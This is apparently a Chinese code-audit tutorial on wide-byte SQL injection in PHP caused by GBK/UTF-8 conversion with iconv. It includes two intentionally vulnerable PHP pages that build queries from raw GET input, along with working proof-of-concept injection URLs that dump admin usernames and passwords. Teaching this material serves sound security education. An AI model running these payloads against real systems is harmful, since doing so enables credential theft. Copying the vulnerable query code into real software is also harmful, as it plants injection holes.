0x01 前言
接白帽子分享之代码审计的艺术系列 第二篇和第三篇,这里讲宽字符注入漏洞产生的原因和案例分析。(没看过前三篇的同学,可以先看看前三篇)
首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL
连接时错误配置为:set character_set_client=gbk
,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:
1、正常情况下当GPC
开启或使用addslashes
函数过滤GET
或POST
提交的参数时,黑客使用的单引号'
就会被转义为:\'
;
2、但如果存在宽字节注入,我们输入%df%27
时首先经过上面提到的单引号转义变成了%df%5c%27
(%5c
是反斜杠\
),之后在数据库查询前由于使用了GBK
多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL
服务器会对查询语句进行GBK
编码即%df%5c
转换成了汉字運
,而单引号逃逸了出来,从而造成了注入漏洞。
现在基本上都会将mysql
的连接配置为setcharacter_set_client=binary
来解决这个问题,所以这篇文章将介绍出现在php
中因为字符编码转换导致的注入问题。
0x02 准备
知识储备:php
基础、MySql
入门
工具:notepad++
服务器环境:wamp
测试代码:见文中
0x03 全局防护Bypass下篇的脑图
0x04 宽字符注入
字符编码的转换函数像iconv
的使用会出现这类注入问题,分gbk
转utf-8
和utf-8
转gbk
两种情况。
1.GBK转UTF-8
缺陷代码:
kuanzifu1.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
//这里对title进行了gbk到utf-8的转换
$title = iconv("gbk","utf-8",$title_tmp);
$sql = "SELECT * FROM news WHERE title = '{$title}'";
echo$sql;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
浏览器输入:
http://localhost/sqltest/kuanzifu1.php?title=%df' union select 1,2,concat(name,0x23,pass) from admin%23
发现获取了管理员账户密码如下图:
原理其实跟前言里第2
条是一样的,我们输入%df%27
时首先经过上面提到的单引号转义变成了%df%5c%27
(%5c
是反斜杠\
),然后%df%5c
正好属于gbk
的汉字编码范围,经过iconv
转换到utf-8
编码转换后变成了汉字運
,从而吞掉了反斜杠使得单引号逃脱出来。
2.UTF-8转GBK
缺陷代码:
kuanzifu2.php
:
<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
$title = iconv("utf-8","gbk",$title_tmp);
$sql = "SELECT * FROM news WHERE title = '{$title}'";
echo $sql;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
这里我们思考下錦
这个字,它的utf-8
编码是e98ca6
,它的gbk
编码是e55c
,而上面提到过反斜杠\
正好为5c
。
所以如果我们将title
设置为:錦'
,首先经过addlashes
函数或GPC
对单引号转义变为:錦\'
,然后会经过icnov
函数会对錦
转化为gbk
编码,最后就是:%e5%5c%5c%27
。反斜杠被转义了(%5c%5c
),从而单引号逃逸出来就会引发注入漏洞。
直接获取管理员账户密码的POC
如下:
http://localhost/sqltest/kuanzifu2.php?title=錦' union select 1,2,concat(name,0x23,pass) from admin%23
实际执行的SQL
语句:
SELECT * FROM news WHERE title = '\xE5\\' union select 1,2,concat(name,0x23,pass) from admin#'
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章